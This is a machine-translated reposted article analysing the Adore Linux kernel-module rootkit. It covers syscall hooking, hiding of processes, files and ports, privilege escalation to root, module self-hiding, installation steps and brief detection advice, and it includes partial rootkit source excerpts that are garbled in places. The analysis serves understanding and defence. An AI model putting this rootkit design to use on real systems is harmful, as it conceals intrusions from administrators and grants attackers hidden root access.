Adore rootkit Analysis

Source: Internet
Author: User
Generally, lkm is used to provide additional functions for the system without re-compiling the kernel, such as loading device drivers and other hardware drivers. Linux, Solaris, and BSD (free, net, and open) operating systems allow the ability to load kernel modules to implement certain system functions. Some rootkit can use this mechanism to run itself as a kernel-loaded module, and cheat the application at the kernel layer without modifying the application itself, therefore, it is better concealed than the traditional rootkit. Now there are many types of lkm rootkit, such as SLKM, knark, and adore. This article analyzes adore rootkit (Note: adore rootkit is not an adore worm ).

Adore is a Linux lkm (loadable kernel module) rootkit. The author is stealth. Can be used for Linux-2.2.x and Linux-2.4.x series kernels. The core part is an lkm called adore. O. In addition, there is a cleaner. O module used to hide adore. O, a control tool Ava, and a STARTUP script startadore.

The source code of adore includes the following files:

Changelog
License
Makefile. gen <-- if the configure script fails to be executed, you can use this file
Readme
Todo
Source code of the adore. C <-- adore. O Module
Adore. h
Ava. C <-- Control Command
Source code of the cleaner. C <-- cleaner. O module, used to hide the adore Module
Configure <-- installation script
Dummy. c
Libinvisible. C <-- libinvisible is the interface between the Ava and adore modules.
Libinvisible. h
Rename. c
Startadore <-- start the script

2. adore Module

As mentioned above, the core of adore rootkit is the adore. o module. In this module, process hiding/reproduction, directory hiding/reproduction, control process (ava) verification, and backdoor hiding are implemented by forging some system calls. Functions in this module can be roughly divided:

1. Counterfeit system calls

Adore rootkit uses the following function to replace real system calls: n_getdents, n_getdents64, n_fork, n_clone, n_kill, n_write, n_close, n_mkdir, n_oldstat, n_oldlstat, n_stat, n_lstat, n_stat64, n_lstat64, and n_open. These functions are basically the real encapsulation of related system calls.

2. module initialization and uninstallation functions (init_module, cleanup_module)

Execute the initialization of the adore module (replace the original system call with forged System Call) and uninstall the module for cleanup (restore the original system call, etc ).

3. Trojan Functions

Including: hide_process, remove_process, unhide_process, strip_invisible, and unstrip_invisible. These functions hide, delete, and reproduce a process by modifying certain information in the process control block (task_struct) of the specified process.

4. other auxiliary functions and macros

Including functions: my_atoi, my_find_task, is_invisible, is_secret, is_secret64, fp_put, fp_get, and macros: REPLALE and RESTORE.

2.1.adore module initialization and uninstallation Functions

Adore initialization function init_module

Int init_module (void)
{
Struct task_struct * p = current;/* current process */
Lock_kernel ();
EXPORT_NO_SYMBOLS;/* No symbols required by other modules. Do not export the symbols to the module symbol table */

For (; p-> pid! = 1; p = p-> next_task)/* Find the init (1) process */
;
Init_hook = p;
/* Stores the location of the init process, which is used to specify the position of the for_each_task (adore. h) macro for row search */

...

REPLACE (write );
REPLACE (getdents );
/* Modify the kernel's system call table (sys_call_table) to replace real system calls with forged system calls */
/* The real system call is renamed (for example, o_write) by the name of the o _ system call )*/
...
}

Cleanup_module Function

When the adore module is uninstalled, this function uses the RESTORE macro to RESTORE the real system call.

2. Trojan Functions

2.2.1.hide _ process/unhide_process/remove_process

These three functions are used to hide (hide_process) and reproduce (unhide_process)/delete (remove_process) processes. Adore introduces two process flags in the process flag domain (task_struct.flags) of the process control block (task_struct, defined in the include/Linux/sched. h file) in linux: PF_INVISIBLE and PF_AUTH. If the PF_INVISIBLE bit of the Process Control Block flag field is set, the process cannot be displayed. The process flag PF_AUTH is used to restrict operations on hidden processes. Only processes with the PF_AUTH process flag have certain operation permissions on hidden processes (for example, kill, you can easily expose a hidden process by adore to a prototype by sending a SIGVISIBLE signal to the system's 2nd-to-NR_TASKS process.

BTW, the process verification is completed by the forged system variable mkdir. The specific verification process will be explained in detail in the ava section.

When a user executes a system call for a process, the counterfeit System Call checks whether the two flags of the Process Control Block flag domain of the process have been set, to determine whether to perform operations on this process. Let's take a look at the source code of the two functions.

Hide_process

Int hide_process (pid_t pid)
{
Struct task_struct * p;

If (pid <= 1)
Return-1;
/* Perform any operations on idle (0) and init (1) processes in hexadecimal notation */

If (p = my_find_task (pid) = NULL)
Return-1;

P-> flags | = (PF_INVISIBLE | PF_AUTH );
/* Mark the process as hidden and grant the process the permission to operate the hidden process */
Return 0;
}

Unhide_process

Int unhide_process (pid_t pid)
{
Struct task_struct * p = my_find_task (pid );

If (! P)
Return-1;

P-> flags & = ~ (PF_INVISIBLE | PF_AUTH );
/* Clear the PF_INVISIBLE and PF_AUTH flags of the Process Control Block */

Return 0;
}

Remove_process

Int remove_process (pid_t pid)
{
Struct task_struct * p;

If (pid <= 1)
Return-1;
/* The IDLE and init processes cannot be deleted */

...

If (p-> p_cptr! = NULL)
Return-1;
/* Processes with sub-processes cannot be deleted */

REMOVE_LINKS (p );
/* REMOVE_LINKS () macro is used to delete a process control block from the task_struct linked list */
...

2.2.2.strip _ invisible () and unstrip_invisible () Functions

The strip_invisible () function hides the process directory from the/proc file system. In the/proc file system, there is no process with PID = 0 (Swapper process) directory. This function uses this to change the process PID to 0, the process is hidden in the/proc file system. The original process ID (PID) is saved in the exit_code domain of the process control block; unstrip_invisible () function to restore the display of processes in the/proc file system. This processing method of adore can improve the speed of the n_getdents and n_getdents functions to a certain extent.

2. 3. Counterfeit system calls

In the adore module, some system calls related to processes and file/directory operations are implemented, and these counterfeit system calls are used to hide their own purposes.

2.3.1. system calls of related processes

Siginvisible, sigvisible, and sigremove

In the adore. h header file, three signals siginvisible, sigvisible, and sigremove are defined. Adore uses these signals to hide, reproduce, and delete processes.

N_fork

Used to replace fork system calls. First, check the process that executes this system call. If this process is hidden, its subprocesses must also be hidden.

Int n_fork (struct pt_regs regs)
{
Pid_t PID;
Int hide = 0;

Lock_kernel ();
If (is_invisible (current-> PID ))
++ Hide;
/* Check whether the pf_invisible flag is set in the flags field of the process that executes the fork system call */

PID = o_fork (regs );
/* Execute a real fork system call */

If (hide & pid> = 0)
Hide_process (PID );
/* If the parent process is invisible, hide the child process */

Unlock_kernel ();
Return PID;
}

N_clone

Encapsulate sys_clone, which is a Linux-specific system. The execution process is almost the same as that of n_fork, but o_fork is replaced by o_clone.

N_kill

Encapsulate the kill system call.

Int n_kill (pid_t PID, int sig)
{
....

If (SIG! = Siginvisible & Sig! = Sigvisible & Sig! = Sigremove ){

....

If (is_invisible (PID )&&! Is_invisible (current-> PID )&&
Current-> PID! = 1)
Ret =-esrch;
Else
Ret = o_kill (PID, sig );
/* The signal sent by the current process is not siginvisible, sigvisibl, or esigremove */
/* The current process does not belong to the rootkit (not the invisible process) and is not the INIT process */
/* Reject sending signals */
....

}

If (current-> flags & PF_AUTH )! = PF_AUTH ){
Ret =-ESRCH;
Goto out;
}
/* If the process that sends SIGINVISIBLE, SIGVISIBLE, and SIGREMOVE signals is not ava or other verified processes */
/* The program rejects sending signals to it */

....

If (sig = SIGINVISIBLE)
Ret = hide_process (pid );
Else if (sig = SIGREMOVE)
Ret = remove_process (pid );
Else
Ret = unhide_process (pid );
/* Process SIGINVISIBLE, SIGVISIBLE, and SIGREMOVE signals */
....

}

2.3.2. System Call for files/Directories

Redirfile Structure

The redirfile structure stores the file redirection information. Through file redirection, you can easily escape the detection of Data Integrity Detection tools. For example, an attacker uses his own ls command to replace the/bin/ls file and save the original file as/tmp/ls, all subsequent operations on the/bin/ls file will be redirected to/tmp/ls. In this case, you may have questions. Since the file book is redirected, when we execute the trojan command/bin/ls, will it also be redirected to/tmp/ls to execute the original command of the system? You don't have to worry about this. execve class system calls are in the kernel space, and they won't use the user space's open and other system calls. Therefore, they won't be redirected when executing the trojan program.

BTW: when using adore, I cannot use the ls command (command not found) as long as I use the insmod adore. o command to load the adore module ). This is because in the adore. h file:

Struct redirfile redir [] = {
{"/Bin/ls", "/tmp/ls "},
{"/Tmp/1", "/tmp/2 "},
{NULL, NULL}
};

Whenever the shell loads/bin/ls, it will first use a system call such as stat. If/tmp/ls cannot be found, an error will be returned.

If you want to actually use adore rootkit, you must modify the above definition according to your own situation. The prototype of this structure is as follows:

Struct redirfile {
Char * requested;/* request file name */
Char * redirected;/* The redirected file name */
};

About file redirection, The adore implementation method is not very perfect, and there may be a better way: P

ELITE_CMD, ADORE_KEY, and ELITE_UID

Before introducing related functions, we need to introduce several constants that should be set before Compilation: ELITE_CMD, ADORE_KEY, and ELITE_UID. ELITE_CMD is used to pass control commands to the adore module (see n_close); ELITE_UID is used to set the owner of all files in the adore rootkit (see is_secret ); the ADORE_KEY is used to verify processes that use the adore function (see n_mkdir ).

HIDDEN_SERVICES

This constant defined in the adore. h file also needs to be modified according to the actual situation when using adore. HIDDEN_SERVICES is used by the n_write function to prevent netstat from outputting Backdoor Ports. Format (see the output of netstat :):

": Service name (or port)" NULL

N_open () function

Encapsulate open system calls. If the file appears in redir (struct redirfile), redirect the file to another file (reddir []. redirected ). Then, call the real sys_open (o_open ).

N_oldstat, n_oldlstat, n_stat, n_lstat, n_stat64, n_lstat64

These system calls (oldstat, oldlstat, stat, lstat, stat64, and lstat64) are used to obtain the File status. Before performing a real operation, they will check that the file appears in redir (struct redirfile). If yes, redirect the file to another file (reddir []. redirected ). Then, execute real system calls. For more information about these system calls, see the relevant manual page.

N_getdents and n_getdents64

The getdents system call is used to obtain directory entries, which is an alternative to the readdir system call. Adore rootkit supports 64-bit systems. n_getdents64 is for 64-bit Linux systems (other counterfeit system calls suffixed with 64 are also called). Here we only introduce n_getdents. In this function, we first perform special processing on the proc file system, then call the real getdents (o_getdents), and finally clear the entries to be hidden.

Int n_getdents (unsigned int fd, struct dirent * dirp, unsigned int count)
{
....

Sb = file-> f_dentry-> d_sb;
Dinode = file-> f_dentry-> d_inode;
/* Obtain the super block and index node of this directory */

If (dinode-> I _ino = PROC_ROOT_INO)
Proc = 1;
/* Is it in the/proc file system? */

If (proc)
Strip_invisible ();
/* If it is in the/proc file system, call strip_invisible () for processing */

Ret = o_getdents (fd, dirp, count );
/* Call the real getdents */

If (proc)
Unstrip_invisible ();
/* Restore to normal */

....

While (PTR <(char *) orig_d + r ){
Curr = (struct dirent *) PTR;

Offset = curr-> d_reclen;
/* The d_reclen of the dirent structure (dirent. h) stores the length of the dirent structure */

If (is_secret (SB, curr )){
/* Check whether the current directory needs to be hidden */
If (is_secret (SB, curr) ''(Proc & is_invisible (my_atoi (curr-> d_name )))){
If (! PREV ){
Ret-= offset;
D = (struct dirent *) (char *) D + offset );
/* Delete the first entry */
} Else {/* not the first entry */
Prev-> d_reclen + = offset;
Memset (curr, 0, offset );
}
} Else
Prev = curr;

PTR + = offset;

}

....
}

N_mkdir

N_mkdir encapsulates the mkdir function, which is also used to verify processes that use the adore function.

If (strcmp (key, ADORE_KEY) = 0 ){
Current-> flags | = PF_AUTH;
/* ADORE_KEY is a string set during compilation to verify whether the process has the permission to use the features provided by adore */

N_write

This function mainly prevents the netstat process from outputting adore information. The process is as follows:

Check whether the current process is netstat.

Filter out all output rows that contain the strings set in HIDDEN_SERVICES.

Call the real sys_write (o_write) and output the information that passes the check.

N_close

This function is also an important function in adore. In addition to calling the normally executed sys_close (o_close) function to close the file descriptor, it also provides functions to improve backdoor process permissions, uninstall the adore module, and check whether the adore module is running.

Int n_close (unsigned int fd)
{
Int r;

Lock_kernel ();
Switch (fd ){
Case ELITE_CMD:/* upgrade the backdoor process permission */
If (current-> flags & PF_AUTH )! = PF_AUTH ){
R =-EPERM;
Break;
}

Current-> uid = current-> euid = 0;
Current-> gid = current-> egid = 0;
Current-> suid = current-> sgid = 0;
Current-> fsuid = current-> fsgid = 0;
/* Run the backdoor process with root permissions */

Cap_t (current-> cap_valid tive) = ~ 0;
Cap_t (current-> cap_inheritable) = ~ 0;
Cap_t (current-> cap_permitted) = ~ 0;
/* Set the capability domain of the current process */

R = 0;
Break;

/* Uninstall the adore module */
Case ELITE_CMD + 1:
If (current-> flags & PF_AUTH )! = PF_AUTH ){
R =-EPERM;
Break;
}

R = cleanup_module ();
Break;

/* Check whether the adore module is installed */
Case ELITE_CMD + 2:
If (current-> flags & PF_AUTH )! = PF_AUTH ){
R =-EPERM;
Break;
}

R = adore_version;
Break;

Default:
R = o_close (FD );
Break;
}/* Perform a normal close operation */
Unlock_kernel ();
Return R;
}

2. 4. Other functions

Is_invisible

Check whether the process is hidden.

Is_secret and is_secret64

Check whether the owner of a file or directory is elite_uid. If yes, it indicates it should be hidden.

3. Cleaner Module

Adore rootkit uses the cleaner module to hide the adore module. The cleaner module uses the two-line program in the init_module function to delete the adore module from module_list, so as to hide the adore module:

If (_ this_module.next)
_ This_module.next = _ this_module.next-> next;

This implementation method is very simple and effective, but it is too crude and not delicate: P. It destroys the data structure of the system kernel and may cause system crashes. In addition, there are obviously some competition conditions. The goal of hiding adore is to install the cleaner module after the adore module is installed. In the released source code, the author also provides a script called startadore. This script has only three rows:

Insmod adore. o
Insmod cleaner. o
Rmmod cleaner

4. Adore rootkit control program Ava

Ava is the control program of adore rootkit. You can use Ava to control the behavior of the adore module. Ava supports the following options:

Usage:./Ava {H, U, R, R, I, V, u}

H. Hide a file
U (Hide File)
R run a program (execute as root) with root permissions)
R always deletes a process (remove PID forever)
U uninstall the adore module (uninstall adore)
I. Hide a process (make PID invisible)
V reproduce a process (make PID visible)

4.1.ava Initialization

Ava must first pass the verification of the adore module. After the verification is passed, the adore will upgrade its permissions to root. The two steps are completed by calling the mkdir and Cols systems respectively. The specific verification and permission escalation operations have been discussed earlier. : P

4. 2. Command Options

After figuring out the various functions of the adore module, you can easily understand how each Command Option of Ava is implemented: P

Hide a file

Change the owner of the file or directory to elite_uid.

Reproduce a file

Change the file owner to root.

Hide Process

Send a siginvisible signal to the process to be hidden. after entering the kernel space, n_kill calls hide_process to hide the process.

Delete Process

Send a sigremove signal to the deleted process. After Entering the kernel space, n_kill calls remove_process to delete the process control block.

Reproduce Process

The sigvisvisible signal is sent to the process. The subsequent work is completed by the counterfeit system calling n_kill calling unhide_process.

Execute a program as root

Execve System Call in Ava.

5. Adore Installation

After learning about the above, it is very easy to install adore rootkit.

First, modify the redir and hidden_services in the adore. h header file.

Run configure script

Execute the make command to compile it.

Use the startadore script to install adore.

For more information, see the README file.

6. Adore Detection

Because adore uses the lkm count, it is very difficult to detect. However, kstat is a good tool for detecting the lkm rootkit. For more information about how to use kstat, see related articles on this site.

In addition, if it is intruded by adore, it is better to use a kernel that does not support lkm to restart the system, so that the adore module will lose its role. What it hides is invisible: P.

Conclusion

I have already mentioned P, but I have added this section to keep the integrity of the article. There is also a saying that the technology is always used in the field of security, and new technologies have been applied to rootkit. In the recent release of phrack 58, SD (sd@sf.cz) and devik (devik@cdi.cz) do not use lkm to implement kernel layer rootkit (Linux on-the-fly Kernel Patching without lkm, phrack volume 0x0b, issue 0x3a, Phile #0x07 of 0x0e) technology.

Reprinted: linuxaid

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.